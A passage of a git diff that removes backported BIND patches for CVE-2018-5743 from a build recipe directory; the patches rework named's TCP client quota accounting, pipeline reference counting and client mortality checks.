- client->keytag_len = 0;
-@@ -3341,6 +3406,7 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
- !allowed(&netaddr, NULL, NULL, 0, NULL,
- ns_g_server->keepresporder)))
- {
-+ pipeline_init(client);
- client->pipelined = true;
- }
-
-@@ -3800,35 +3866,16 @@ get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp, isc_socket_t *sock,
- ns_interface_attach(ifp, &client->interface);
- client->newstate = client->state = NS_CLIENTSTATE_WORKING;
- INSIST(client->recursionquota == NULL);
--
-- /*
-- * Transfer TCP quota to the new client.
-- */
-- INSIST(client->tcpquota == NULL);
-- INSIST(oldclient->tcpquota != NULL);
-- client->tcpquota = oldclient->tcpquota;
-- oldclient->tcpquota = NULL;
--
-- /*
-- * Link to a pipeline group, creating it if needed.
-- */
-- if (!ISC_LINK_LINKED(oldclient, glink)) {
-- oldclient->glink.next = NULL;
-- oldclient->glink.prev = NULL;
-- }
-- client->glink.next = oldclient->glink.next;
-- client->glink.prev = oldclient;
-- if (oldclient->glink.next != NULL) {
-- oldclient->glink.next->glink.prev = client;
-- }
-- oldclient->glink.next = client;
-+ client->tcpquota = &client->sctx->tcpquota;
-
- client->dscp = ifp->dscp;
-
- client->attributes |= NS_CLIENTATTR_TCP;
-- client->pipelined = true;
- client->mortal = true;
-
-+ pipeline_attach(oldclient, client);
-+ client->pipelined = true;
-+
- isc_socket_attach(ifp->tcpsocket, &client->tcplistener);
- isc_socket_attach(sock, &client->tcpsocket);
- isc_socket_setname(client->tcpsocket, "worker-tcp", NULL);
-diff --git a/bin/named/include/named/client.h b/bin/named/include/named/client.h
-index 1f7973f9c5..aeed9ccdda 100644
---- a/bin/named/include/named/client.h
-+++ b/bin/named/include/named/client.h
-@@ -134,6 +134,7 @@ struct ns_client {
- dns_name_t *signer; /*%< NULL if not valid sig */
- bool mortal; /*%< Die after handling request */
- bool pipelined; /*%< TCP queries not in sequence */
-+ isc_refcount_t *pipeline_refs;
- isc_quota_t *tcpquota;
- isc_quota_t *recursionquota;
- ns_interface_t *interface;
-@@ -167,7 +168,6 @@ struct ns_client {
-
- ISC_LINK(ns_client_t) link;
- ISC_LINK(ns_client_t) rlink;
-- ISC_LINK(ns_client_t) glink;
- ISC_QLINK(ns_client_t) ilink;
- unsigned char cookie[8];
- uint32_t expire;
---
-2.20.1
-
diff --git a/meta/recipes-connectivity/bind/bind/0004-better-tcpquota-accounting-and-client-mortality-chec.patch b/meta/recipes-connectivity/bind/bind/0004-better-tcpquota-accounting-and-client-mortality-chec.patch
deleted file mode 100644
index 034ab13303..0000000000
--- a/meta/recipes-connectivity/bind/bind/0004-better-tcpquota-accounting-and-client-mortality-chec.patch
+++ /dev/null
@@ -1,512 +0,0 @@
-Backport patch to fix CVE-2018-5743.
-
-Ref:
-https://security-tracker.debian.org/tracker/CVE-2018-5743
-
-CVE: CVE-2018-5743
-Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/commit/2ab8a08]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From 2ab8a085b3c666f28f1f9229bd6ecb59915b26c3 Mon Sep 17 00:00:00 2001
-From: Evan Hunt <each@isc.org>
-Date: Fri, 5 Apr 2019 16:12:18 -0700
-Subject: [PATCH 4/6] better tcpquota accounting and client mortality checks
-
-- ensure that tcpactive is cleaned up correctly when accept() fails.
-- set 'client->tcpattached' when the client is attached to the tcpquota.
- carry this value on to new clients sharing the same pipeline group.
- don't call isc_quota_detach() on the tcpquota unless tcpattached is
- set. this way clients that were allowed to accept TCP connections
- despite being over quota (and therefore, were never attached to the
- quota) will not inadvertently detach from it and mess up the
- accounting.
-- simplify the code for tcpquota disconnection by using a new function
- tcpquota_disconnect().
-- before deciding whether to reject a new connection due to quota
- exhaustion, check to see whether there are at least two active
- clients. previously, this was "at least one", but that could be
- insufficient if there was one other client in READING state (waiting
- for messages on an open connection) but none in READY (listening
- for new connections).
-- before deciding whether a TCP client object can to go inactive, we
- must ensure there are enough other clients to maintain service
- afterward -- both accepting new connections and reading/processing new
- queries. A TCP client can't shut down unless at least one
- client is accepting new connections and (in the case of pipelined
- clients) at least one additional client is waiting to read.
-
-(cherry picked from commit c7394738b2445c16f728a88394864dd61baad900)
-(cherry picked from commit e965d5f11d3d0f6d59704e614fceca2093cb1856)
-(cherry picked from commit 87d431161450777ea093821212abfb52d51b36e3)
----
- bin/named/client.c | 244 +++++++++++++++++++------------
- bin/named/include/named/client.h | 3 +-
- 2 files changed, 152 insertions(+), 95 deletions(-)
-
-diff --git a/bin/named/client.c b/bin/named/client.c
-index 277656cef0..61e96dd28c 100644
---- a/bin/named/client.c
-+++ b/bin/named/client.c
-@@ -244,13 +244,14 @@ static void client_start(isc_task_t *task, isc_event_t *event);
- static void client_request(isc_task_t *task, isc_event_t *event);
- static void ns_client_dumpmessage(ns_client_t *client, const char *reason);
- static isc_result_t get_client(ns_clientmgr_t *manager, ns_interface_t *ifp,
-- dns_dispatch_t *disp, bool tcp);
-+ dns_dispatch_t *disp, ns_client_t *oldclient,
-+ bool tcp);
- static isc_result_t get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp,
- isc_socket_t *sock, ns_client_t *oldclient);
- static inline bool
- allowed(isc_netaddr_t *addr, dns_name_t *signer,
- isc_netaddr_t *ecs_addr, uint8_t ecs_addrlen,
-- uint8_t *ecs_scope, dns_acl_t *acl)
-+ uint8_t *ecs_scope, dns_acl_t *acl);
- static void compute_cookie(ns_client_t *client, uint32_t when,
- uint32_t nonce, const unsigned char *secret,
- isc_buffer_t *buf);
-@@ -319,7 +320,7 @@ pipeline_init(ns_client_t *client) {
- * contention here is expected to be negligible, given that this code
- * is only executed for TCP connections.
- */
-- refs = isc_mem_allocate(client->sctx->mctx, sizeof(*refs));
-+ refs = isc_mem_allocate(ns_g_mctx, sizeof(*refs));
- isc_refcount_init(refs, 1);
- client->pipeline_refs = refs;
- }
-@@ -331,13 +332,13 @@ pipeline_init(ns_client_t *client) {
- */
- static void
- pipeline_attach(ns_client_t *source, ns_client_t *target) {
-- int old_refs;
-+ int refs;
-
- REQUIRE(source->pipeline_refs != NULL);
- REQUIRE(target->pipeline_refs == NULL);
-
-- old_refs = isc_refcount_increment(source->pipeline_refs);
-- INSIST(old_refs > 0);
-+ isc_refcount_increment(source->pipeline_refs, &refs);
-+ INSIST(refs > 1);
- target->pipeline_refs = source->pipeline_refs;
- }
-
-@@ -349,25 +350,51 @@ pipeline_attach(ns_client_t *source, ns_client_t *target) {
- */
- static bool
- pipeline_detach(ns_client_t *client) {
-- isc_refcount_t *refs;
-- int old_refs;
-+ isc_refcount_t *refcount;
-+ int refs;
-
- REQUIRE(client->pipeline_refs != NULL);
-
-- refs = client->pipeline_refs;
-+ refcount = client->pipeline_refs;
- client->pipeline_refs = NULL;
-
-- old_refs = isc_refcount_decrement(refs);
-- INSIST(old_refs > 0);
-+ isc_refcount_decrement(refcount, refs);
-
-- if (old_refs == 1) {
-- isc_mem_free(client->sctx->mctx, refs);
-+ if (refs == 0) {
-+ isc_mem_free(ns_g_mctx, refs);
- return (true);
- }
-
- return (false);
- }
-
-+/*
-+ * Detach a client from the TCP client quota if appropriate, and set
-+ * the quota pointer to NULL.
-+ *
-+ * Sometimes when the TCP client quota is exhausted but there are no other
-+ * clients servicing the interface, a client will be allowed to continue
-+ * running despite not having been attached to the quota. In this event,
-+ * the TCP quota was never attached to the client, so when the client (or
-+ * associated pipeline group) shuts down, the quota must NOT be detached.
-+ *
-+ * Otherwise, if the quota pointer is set, it should be detached. If not
-+ * set at all, we just return without doing anything.
-+ */
-+static void
-+tcpquota_disconnect(ns_client_t *client) {
-+ if (client->tcpquota == NULL) {
-+ return;
-+ }
-+
-+ if (client->tcpattached) {
-+ isc_quota_detach(&client->tcpquota);
-+ client->tcpattached = false;
-+ } else {
-+ client->tcpquota = NULL;
-+ }
-+}
-+
- /*%
- * Check for a deactivation or shutdown request and take appropriate
- * action. Returns true if either is in progress; in this case
-@@ -490,38 +517,31 @@ exit_check(ns_client_t *client) {
- client->tcpmsg_valid = false;
- }
-
-- if (client->tcpquota != NULL) {
-- if (client->pipeline_refs == NULL ||
-- pipeline_detach(client))
-- {
-- /*
-- * Only detach from the TCP client quota if
-- * there are no more client structures using
-- * this TCP connection.
-- *
-- * Note that we check 'pipeline_refs' and not
-- * 'pipelined' because in some cases (e.g.
-- * after receiving a request with an opcode
-- * different than QUERY) 'pipelined' is set to
-- * false after the reference counter gets
-- * allocated in pipeline_init() and we must
-- * still drop our reference as failing to do so
-- * would prevent the reference counter itself
-- * from being freed.
-- */
-- isc_quota_detach(&client->tcpquota);
-- } else {
-- /*
-- * There are other client structures using this
-- * TCP connection, so we cannot detach from the
-- * TCP client quota to prevent excess TCP
-- * connections from being accepted. However,
-- * this client structure might later be reused
-- * for accepting new connections and thus must
-- * have its 'tcpquota' field set to NULL.
-- */
-- client->tcpquota = NULL;
-- }
-+ /*
-+ * Detach from pipeline group and from TCP client quota,
-+ * if appropriate.
-+ *
-+ * - If no pipeline group is active, attempt to
-+ * detach from the TCP client quota.
-+ *
-+ * - If a pipeline group is active, detach from it;
-+ * if the return code indicates that there no more
-+ * clients left if this pipeline group, we also detach
-+ * from the TCP client quota.
-+ *
-+ * - Otherwise we don't try to detach, we just set the
-+ * TCP quota pointer to NULL if it wasn't NULL already.
-+ *
-+ * tcpquota_disconnect() will set tcpquota to NULL, either
-+ * by detaching it or by assignment, depending on the
-+ * needs of the client. See the comments on that function
-+ * for further information.
-+ */
-+ if (client->pipeline_refs == NULL || pipeline_detach(client)) {
-+ tcpquota_disconnect(client);
-+ } else {
-+ client->tcpquota = NULL;
-+ client->tcpattached = false;
- }
-
- if (client->tcpsocket != NULL) {
-@@ -544,8 +564,6 @@ exit_check(ns_client_t *client) {
- client->timerset = false;
- }
-
-- client->pipelined = false;
--
- client->peeraddr_valid = false;
-
- client->state = NS_CLIENTSTATE_READY;
-@@ -558,18 +576,27 @@ exit_check(ns_client_t *client) {
- * active and force it to go inactive if not.
- *
- * UDP clients go inactive at this point, but a TCP client
-- * will needs to remain active if no other clients are
-- * listening for TCP requests on this interface, to
-- * prevent this interface from going nonresponsive.
-+ * may need to remain active and go into ready state if
-+ * no other clients are available to listen for TCP
-+ * requests on this interface or (in the case of pipelined
-+ * clients) to read for additional messages on the current
-+ * connection.
- */
- if (client->mortal && TCP_CLIENT(client) && !ns_g_clienttest) {
- LOCK(&client->interface->lock);
-- if (client->interface->ntcpaccepting == 0) {
-+ if ((client->interface->ntcpaccepting == 0 ||
-+ (client->pipelined &&
-+ client->interface->ntcpactive < 2)) &&
-+ client->newstate != NS_CLIENTSTATE_FREED)
-+ {
- client->mortal = false;
-+ client->newstate = NS_CLIENTSTATE_READY;
- }
- UNLOCK(&client->interface->lock);
- }
-
-+ client->pipelined = false;
-+
- /*
- * We don't need the client; send it to the inactive
- * queue for recycling.
-@@ -2634,6 +2661,18 @@ client_request(isc_task_t *task, isc_event_t *event) {
- client->pipelined = false;
- }
- if (TCP_CLIENT(client) && client->pipelined) {
-+ /*
-+ * We're pipelining. Replace the client; the
-+ * the replacement can read the TCP socket looking
-+ * for new messages and this client can process the
-+ * current message asynchronously.
-+ *
-+ * There are now at least three clients using this
-+ * TCP socket - one accepting new connections,
-+ * one reading an existing connection to get new
-+ * messages, and one answering the message already
-+ * received.
-+ */
- result = ns_client_replace(client);
- if (result != ISC_R_SUCCESS) {
- client->pipelined = false;
-@@ -3197,6 +3236,7 @@ client_create(ns_clientmgr_t *manager, ns_client_t **clientp) {
- client->pipelined = false;
- client->pipeline_refs = NULL;
- client->tcpquota = NULL;
-+ client->tcpattached = false;
- client->recursionquota = NULL;
- client->interface = NULL;
- client->peeraddr_valid = false;
-@@ -3359,9 +3399,7 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
- NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
- "accept failed: %s",
- isc_result_totext(nevent->result));
-- if (client->tcpquota != NULL) {
-- isc_quota_detach(&client->tcpquota);
-- }
-+ tcpquota_disconnect(client);
- }
-
- if (exit_check(client))
-@@ -3402,7 +3440,7 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
- client->pipelined = false;
- result = ns_client_replace(client);
- if (result == ISC_R_SUCCESS &&
-- (client->sctx->keepresporder == NULL ||
-+ (ns_g_server->keepresporder == NULL ||
- !allowed(&netaddr, NULL, NULL, 0, NULL,
- ns_g_server->keepresporder)))
- {
-@@ -3429,7 +3467,7 @@ client_accept(ns_client_t *client) {
- * in named.conf. If we can't attach to it here, that means the TCP
- * client quota has been exceeded.
- */
-- result = isc_quota_attach(&client->sctx->tcpquota,
-+ result = isc_quota_attach(&ns_g_server->tcpquota,
- &client->tcpquota);
- if (result != ISC_R_SUCCESS) {
- bool exit;
-@@ -3447,27 +3485,27 @@ client_accept(ns_client_t *client) {
- * interface to be starved, with no clients able
- * to accept new connections.
- *
-- * So, we check here to see if any other client
-- * is already servicing TCP queries on this
-+ * So, we check here to see if any other clients
-+ * are already servicing TCP queries on this
- * interface (whether accepting, reading, or
-- * processing).
-- *
-- * If so, then it's okay *not* to call
-- * accept - we can let this client to go inactive
-- * and the other one handle the next connection
-- * when it's ready.
-+ * processing). If there are at least two
-+ * (one reading and one processing a request)
-+ * then it's okay *not* to call accept - we
-+ * can let this client go inactive and another
-+ * one will resume accepting when it's done.
- *
-- * But if not, then we need to be a little bit
-- * flexible about the quota. We allow *one* extra
-- * TCP client through, to ensure we're listening on
-- * every interface.
-+ * If there aren't enough active clients on the
-+ * interface, then we can be a little bit
-+ * flexible about the quota. We'll allow *one*
-+ * extra client through to ensure we're listening
-+ * on every interface.
- *
-- * (Note: In practice this means that the *real*
-- * TCP client quota is tcp-clients plus the number
-- * of interfaces.)
-+ * (Note: In practice this means that the real
-+ * TCP client quota is tcp-clients plus the
-+ * number of listening interfaces plus 2.)
- */
- LOCK(&client->interface->lock);
-- exit = (client->interface->ntcpactive > 0);
-+ exit = (client->interface->ntcpactive > 1);
- UNLOCK(&client->interface->lock);
-
- if (exit) {
-@@ -3475,6 +3513,9 @@ client_accept(ns_client_t *client) {
- (void)exit_check(client);
- return;
- }
-+
-+ } else {
-+ client->tcpattached = true;
- }
-
- /*
-@@ -3507,9 +3548,16 @@ client_accept(ns_client_t *client) {
- UNEXPECTED_ERROR(__FILE__, __LINE__,
- "isc_socket_accept() failed: %s",
- isc_result_totext(result));
-- if (client->tcpquota != NULL) {
-- isc_quota_detach(&client->tcpquota);
-+
-+ tcpquota_disconnect(client);
-+
-+ if (client->tcpactive) {
-+ LOCK(&client->interface->lock);
-+ client->interface->ntcpactive--;
-+ UNLOCK(&client->interface->lock);
-+ client->tcpactive = false;
- }
-+
- return;
- }
-
-@@ -3527,13 +3575,12 @@ client_accept(ns_client_t *client) {
- * once the connection is established.
- *
- * When the client object is shutting down after handling a TCP
-- * request (see exit_check()), it looks to see whether this value is
-- * non-zero. If so, that means another client has already called
-- * accept() and is waiting to establish the next connection, which
-- * means the first client is free to go inactive. Otherwise,
-- * the first client must come back and call accept() again; this
-- * guarantees there will always be at least one client listening
-- * for new TCP connections on each interface.
-+ * request (see exit_check()), if this value is at least one, that
-+ * means another client has called accept() and is waiting to
-+ * establish the next connection. That means the client may be
-+ * be free to become inactive; otherwise it may need to start
-+ * listening for connections itself to prevent the interface
-+ * going dead.
- */
- LOCK(&client->interface->lock);
- client->interface->ntcpaccepting++;
-@@ -3613,19 +3660,19 @@ ns_client_replace(ns_client_t *client) {
- client->tcpsocket, client);
- } else {
- result = get_client(client->manager, client->interface,
-- client->dispatch, tcp);
-+ client->dispatch, client, tcp);
-+
-+ /*
-+ * The responsibility for listening for new requests is hereby
-+ * transferred to the new client. Therefore, the old client
-+ * should refrain from listening for any more requests.
-+ */
-+ client->mortal = true;
- }
- if (result != ISC_R_SUCCESS) {
- return (result);
- }
-
-- /*
-- * The responsibility for listening for new requests is hereby
-- * transferred to the new client. Therefore, the old client
-- * should refrain from listening for any more requests.
-- */
-- client->mortal = true;
--
- return (ISC_R_SUCCESS);
- }
-
-@@ -3759,7 +3806,7 @@ ns_clientmgr_destroy(ns_clientmgr_t **managerp) {
-
- static isc_result_t
- get_client(ns_clientmgr_t *manager, ns_interface_t *ifp,
-- dns_dispatch_t *disp, bool tcp)
-+ dns_dispatch_t *disp, ns_client_t *oldclient, bool tcp)
- {
- isc_result_t result = ISC_R_SUCCESS;
- isc_event_t *ev;
-@@ -3803,6 +3850,16 @@ get_client(ns_clientmgr_t *manager, ns_interface_t *ifp,
- client->dscp = ifp->dscp;
-
- if (tcp) {
-+ client->tcpattached = false;
-+ if (oldclient != NULL) {
-+ client->tcpattached = oldclient->tcpattached;
-+ }
-+
-+ LOCK(&client->interface->lock);
-+ client->interface->ntcpactive++;
-+ UNLOCK(&client->interface->lock);
-+ client->tcpactive = true;
-+
- client->attributes |= NS_CLIENTATTR_TCP;
- isc_socket_attach(ifp->tcpsocket,
- &client->tcplistener);
-@@ -3866,7 +3923,8 @@ get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp, isc_socket_t *sock,
- ns_interface_attach(ifp, &client->interface);
- client->newstate = client->state = NS_CLIENTSTATE_WORKING;
- INSIST(client->recursionquota == NULL);
-- client->tcpquota = &client->sctx->tcpquota;
-+ client->tcpquota = &ns_g_server->tcpquota;
-+ client->tcpattached = oldclient->tcpattached;
-
- client->dscp = ifp->dscp;
-
-@@ -3885,7 +3943,6 @@ get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp, isc_socket_t *sock,
- LOCK(&client->interface->lock);
- client->interface->ntcpactive++;
- UNLOCK(&client->interface->lock);
--
- client->tcpactive = true;
-
- INSIST(client->tcpmsg_valid == false);
-@@ -3913,7 +3970,8 @@ ns_clientmgr_createclients(ns_clientmgr_t *manager, unsigned int n,
- MTRACE("createclients");
-
- for (disp = 0; disp < n; disp++) {
-- result = get_client(manager, ifp, ifp->udpdispatch[disp], tcp);
-+ result = get_client(manager, ifp, ifp->udpdispatch[disp],
-+ NULL, tcp);
- if (result != ISC_R_SUCCESS)
- break;
- }
-diff --git a/bin/named/include/named/client.h b/bin/named/include/named/client.h
-index aeed9ccdda..e2c40acd28 100644
---- a/bin/named/include/named/client.h
-+++ b/bin/named/include/named/client.h
-@@ -9,8 +9,6 @@
- * information regarding copyright ownership.
- */
-
--/* $Id: client.h,v 1.96 2012/01/31 23:47:31 tbox Exp $ */
--
- #ifndef NAMED_CLIENT_H
- #define NAMED_CLIENT_H 1
-
-@@ -136,6 +134,7 @@ struct ns_client {
- bool pipelined; /*%< TCP queries not in sequence */
- isc_refcount_t *pipeline_refs;
- isc_quota_t *tcpquota;
-+ bool tcpattached;
- isc_quota_t *recursionquota;
- ns_interface_t *interface;
-
---
-2.20.1
-
diff --git a/meta/recipes-connectivity/bind/bind/0005-refactor-tcpquota-and-pipeline-refs-allow-special-ca.patch b/meta/recipes-connectivity/bind/bind/0005-refactor-tcpquota-and-pipeline-refs-allow-special-ca.patch
deleted file mode 100644
index 987e75bc0e..0000000000
--- a/meta/recipes-connectivity/bind/bind/0005-refactor-tcpquota-and-pipeline-refs-allow-special-ca.patch
+++ /dev/null
@@ -1,911 +0,0 @@
-Backport patch to fix CVE-2018-5743.
-
-Ref:
-https://security-tracker.debian.org/tracker/CVE-2018-5743
-
-CVE: CVE-2018-5743
-Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/commit/c47ccf6]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From c47ccf630f147378568b33e8fdb7b754f228c346 Mon Sep 17 00:00:00 2001
-From: Evan Hunt <each@isc.org>
-Date: Fri, 5 Apr 2019 16:26:05 -0700
-Subject: [PATCH 5/6] refactor tcpquota and pipeline refs; allow special-case
- overrun in isc_quota
-
-- if the TCP quota has been exceeded but there are no clients listening
- for new connections on the interface, we can now force attachment to the
- quota using isc_quota_force(), instead of carrying on with the quota not
- attached.
-- the TCP client quota is now referenced via a reference-counted
- 'ns_tcpconn' object, one of which is created whenever a client begins
- listening for new connections, and attached to by members of that
- client's pipeline group. when the last reference to the tcpconn
- object is detached, it is freed and the TCP quota slot is released.
-- reduce code duplication by adding mark_tcp_active() function.
-- convert counters to atomic.
-
-(cherry picked from commit 7e8222378ca24f1302a0c1c638565050ab04681b)
-(cherry picked from commit 4939451275722bfda490ea86ca13e84f6bc71e46)
-(cherry picked from commit 13f7c918b8720d890408f678bd73c20e634539d9)
----
- bin/named/client.c | 444 +++++++++++--------------
- bin/named/include/named/client.h | 12 +-
- bin/named/include/named/interfacemgr.h | 6 +-
- bin/named/interfacemgr.c | 1 +
- lib/isc/include/isc/quota.h | 7 +
- lib/isc/quota.c | 33 +-
- lib/isc/win32/libisc.def.in | 1 +
- 7 files changed, 236 insertions(+), 268 deletions(-)
-
-diff --git a/bin/named/client.c b/bin/named/client.c
-index 61e96dd28c..d826ab32bf 100644
---- a/bin/named/client.c
-+++ b/bin/named/client.c
-@@ -244,8 +244,7 @@ static void client_start(isc_task_t *task, isc_event_t *event);
- static void client_request(isc_task_t *task, isc_event_t *event);
- static void ns_client_dumpmessage(ns_client_t *client, const char *reason);
- static isc_result_t get_client(ns_clientmgr_t *manager, ns_interface_t *ifp,
-- dns_dispatch_t *disp, ns_client_t *oldclient,
-- bool tcp);
-+ dns_dispatch_t *disp, bool tcp);
- static isc_result_t get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp,
- isc_socket_t *sock, ns_client_t *oldclient);
- static inline bool
-@@ -301,16 +300,32 @@ ns_client_settimeout(ns_client_t *client, unsigned int seconds) {
- }
-
- /*%
-- * Allocate a reference counter that will track the number of client structures
-- * using the TCP connection that 'client' called accept() for. This counter
-- * will be shared between all client structures associated with this TCP
-- * connection.
-+ * Allocate a reference-counted object that will maintain a single pointer to
-+ * the (also reference-counted) TCP client quota, shared between all the
-+ * clients processing queries on a single TCP connection, so that all
-+ * clients sharing the one socket will together consume only one slot in
-+ * the 'tcp-clients' quota.
- */
--static void
--pipeline_init(ns_client_t *client) {
-- isc_refcount_t *refs;
-+static isc_result_t
-+tcpconn_init(ns_client_t *client, bool force) {
-+ isc_result_t result;
-+ isc_quota_t *quota = NULL;
-+ ns_tcpconn_t *tconn = NULL;
-
-- REQUIRE(client->pipeline_refs == NULL);
-+ REQUIRE(client->tcpconn == NULL);
-+
-+ /*
-+ * Try to attach to the quota first, so we won't pointlessly
-+ * allocate memory for a tcpconn object if we can't get one.
-+ */
-+ if (force) {
-+ result = isc_quota_force(&ns_g_server->tcpquota, &quota);
-+ } else {
-+ result = isc_quota_attach(&ns_g_server->tcpquota, &quota);
-+ }
-+ if (result != ISC_R_SUCCESS) {
-+ return (result);
-+ }
-
- /*
- * A global memory context is used for the allocation as different
-@@ -320,78 +335,80 @@ pipeline_init(ns_client_t *client) {
- * contention here is expected to be negligible, given that this code
- * is only executed for TCP connections.
- */
-- refs = isc_mem_allocate(ns_g_mctx, sizeof(*refs));
-- isc_refcount_init(refs, 1);
-- client->pipeline_refs = refs;
-+ tconn = isc_mem_allocate(ns_g_mctx, sizeof(*tconn));
-+
-+ isc_refcount_init(&tconn->refs, 1);
-+ tconn->tcpquota = quota;
-+ quota = NULL;
-+ tconn->pipelined = false;
-+
-+ client->tcpconn = tconn;
-+
-+ return (ISC_R_SUCCESS);
- }
-
- /*%
-- * Increase the count of client structures using the TCP connection that
-- * 'source' is associated with and put a pointer to that count in 'target',
-- * thus associating it with the same TCP connection.
-+ * Increase the count of client structures sharing the TCP connection
-+ * that 'source' is associated with; add a pointer to the same tcpconn
-+ * to 'target', thus associating it with the same TCP connection.
- */
- static void
--pipeline_attach(ns_client_t *source, ns_client_t *target) {
-+tcpconn_attach(ns_client_t *source, ns_client_t *target) {
- int refs;
-
-- REQUIRE(source->pipeline_refs != NULL);
-- REQUIRE(target->pipeline_refs == NULL);
-+ REQUIRE(source->tcpconn != NULL);
-+ REQUIRE(target->tcpconn == NULL);
-+ REQUIRE(source->tcpconn->pipelined);
-
-- isc_refcount_increment(source->pipeline_refs, &refs);
-+ isc_refcount_increment(&source->tcpconn->refs, &refs);
- INSIST(refs > 1);
-- target->pipeline_refs = source->pipeline_refs;
-+ target->tcpconn = source->tcpconn;
- }
-
- /*%
-- * Decrease the count of client structures using the TCP connection that
-+ * Decrease the count of client structures sharing the TCP connection that
- * 'client' is associated with. If this is the last client using this TCP
-- * connection, free the reference counter and return true; otherwise, return
-- * false.
-+ * connection, we detach from the TCP quota and free the tcpconn
-+ * object. Either way, client->tcpconn is set to NULL.
- */
--static bool
--pipeline_detach(ns_client_t *client) {
-- isc_refcount_t *refcount;
-+static void
-+tcpconn_detach(ns_client_t *client) {
-+ ns_tcpconn_t *tconn = NULL;
- int refs;
-
-- REQUIRE(client->pipeline_refs != NULL);
--
-- refcount = client->pipeline_refs;
-- client->pipeline_refs = NULL;
-+ REQUIRE(client->tcpconn != NULL);
-
-- isc_refcount_decrement(refcount, refs);
-+ tconn = client->tcpconn;
-+ client->tcpconn = NULL;
-
-+ isc_refcount_decrement(&tconn->refs, &refs);
- if (refs == 0) {
-- isc_mem_free(ns_g_mctx, refs);
-- return (true);
-+ isc_quota_detach(&tconn->tcpquota);
-+ isc_mem_free(ns_g_mctx, tconn);
- }
--
-- return (false);
- }
-
--/*
-- * Detach a client from the TCP client quota if appropriate, and set
-- * the quota pointer to NULL.
-- *
-- * Sometimes when the TCP client quota is exhausted but there are no other
-- * clients servicing the interface, a client will be allowed to continue
-- * running despite not having been attached to the quota. In this event,
-- * the TCP quota was never attached to the client, so when the client (or
-- * associated pipeline group) shuts down, the quota must NOT be detached.
-+/*%
-+ * Mark a client as active and increment the interface's 'ntcpactive'
-+ * counter, as a signal that there is at least one client servicing
-+ * TCP queries for the interface. If we reach the TCP client quota at
-+ * some point, this will be used to determine whether a quota overrun
-+ * should be permitted.
- *
-- * Otherwise, if the quota pointer is set, it should be detached. If not
-- * set at all, we just return without doing anything.
-+ * Marking the client active with the 'tcpactive' flag ensures proper
-+ * accounting, by preventing us from incrementing or decrementing
-+ * 'ntcpactive' more than once per client.
- */
- static void
--tcpquota_disconnect(ns_client_t *client) {
-- if (client->tcpquota == NULL) {
-- return;
-- }
--
-- if (client->tcpattached) {
-- isc_quota_detach(&client->tcpquota);
-- client->tcpattached = false;
-- } else {
-- client->tcpquota = NULL;
-+mark_tcp_active(ns_client_t *client, bool active) {
-+ if (active && !client->tcpactive) {
-+ isc_atomic_xadd(&client->interface->ntcpactive, 1);
-+ client->tcpactive = active;
-+ } else if (!active && client->tcpactive) {
-+ uint32_t old =
-+ isc_atomic_xadd(&client->interface->ntcpactive, -1);
-+ INSIST(old > 0);
-+ client->tcpactive = active;
- }
- }
-
-@@ -484,7 +501,8 @@ exit_check(ns_client_t *client) {
- INSIST(client->recursionquota == NULL);
-
- if (NS_CLIENTSTATE_READING == client->newstate) {
-- if (!client->pipelined) {
-+ INSIST(client->tcpconn != NULL);
-+ if (!client->tcpconn->pipelined) {
- client_read(client);
- client->newstate = NS_CLIENTSTATE_MAX;
- return (true); /* We're done. */
-@@ -507,8 +525,8 @@ exit_check(ns_client_t *client) {
- dns_tcpmsg_cancelread(&client->tcpmsg);
- }
-
-- if (client->nreads != 0) {
-- /* Still waiting for read cancel completion. */
-+ /* Still waiting for read cancel completion. */
-+ if (client->nreads > 0) {
- return (true);
- }
-
-@@ -518,43 +536,45 @@ exit_check(ns_client_t *client) {
- }
-
- /*
-- * Detach from pipeline group and from TCP client quota,
-- * if appropriate.
-+ * Soon the client will be ready to accept a new TCP
-+ * connection or UDP request, but we may have enough
-+ * clients doing that already. Check whether this client
-+ * needs to remain active and allow it go inactive if
-+ * not.
- *
-- * - If no pipeline group is active, attempt to
-- * detach from the TCP client quota.
-+ * UDP clients always go inactive at this point, but a TCP
-+ * client may need to stay active and return to READY
-+ * state if no other clients are available to listen
-+ * for TCP requests on this interface.
- *
-- * - If a pipeline group is active, detach from it;
-- * if the return code indicates that there no more
-- * clients left if this pipeline group, we also detach
-- * from the TCP client quota.
-- *
-- * - Otherwise we don't try to detach, we just set the
-- * TCP quota pointer to NULL if it wasn't NULL already.
-- *
-- * tcpquota_disconnect() will set tcpquota to NULL, either
-- * by detaching it or by assignment, depending on the
-- * needs of the client. See the comments on that function
-- * for further information.
-+ * Regardless, if we're going to FREED state, that means
-+ * the system is shutting down and we don't need to
-+ * retain clients.
- */
-- if (client->pipeline_refs == NULL || pipeline_detach(client)) {
-- tcpquota_disconnect(client);
-- } else {
-- client->tcpquota = NULL;
-- client->tcpattached = false;
-+ if (client->mortal && TCP_CLIENT(client) &&
-+ client->newstate != NS_CLIENTSTATE_FREED &&
-+ !ns_g_clienttest &&
-+ isc_atomic_xadd(&client->interface->ntcpaccepting, 0) == 0)
-+ {
-+ /* Nobody else is accepting */
-+ client->mortal = false;
-+ client->newstate = NS_CLIENTSTATE_READY;
-+ }
-+
-+ /*
-+ * Detach from TCP connection and TCP client quota,
-+ * if appropriate. If this is the last reference to
-+ * the TCP connection in our pipeline group, the
-+ * TCP quota slot will be released.
-+ */
-+ if (client->tcpconn) {
-+ tcpconn_detach(client);
- }
-
- if (client->tcpsocket != NULL) {
- CTRACE("closetcp");
- isc_socket_detach(&client->tcpsocket);
--
-- if (client->tcpactive) {
-- LOCK(&client->interface->lock);
-- INSIST(client->interface->ntcpactive > 0);
-- client->interface->ntcpactive--;
-- UNLOCK(&client->interface->lock);
-- client->tcpactive = false;
-- }
-+ mark_tcp_active(client, false);
- }
-
- if (client->timerset) {
-@@ -567,35 +587,6 @@ exit_check(ns_client_t *client) {
- client->peeraddr_valid = false;
-
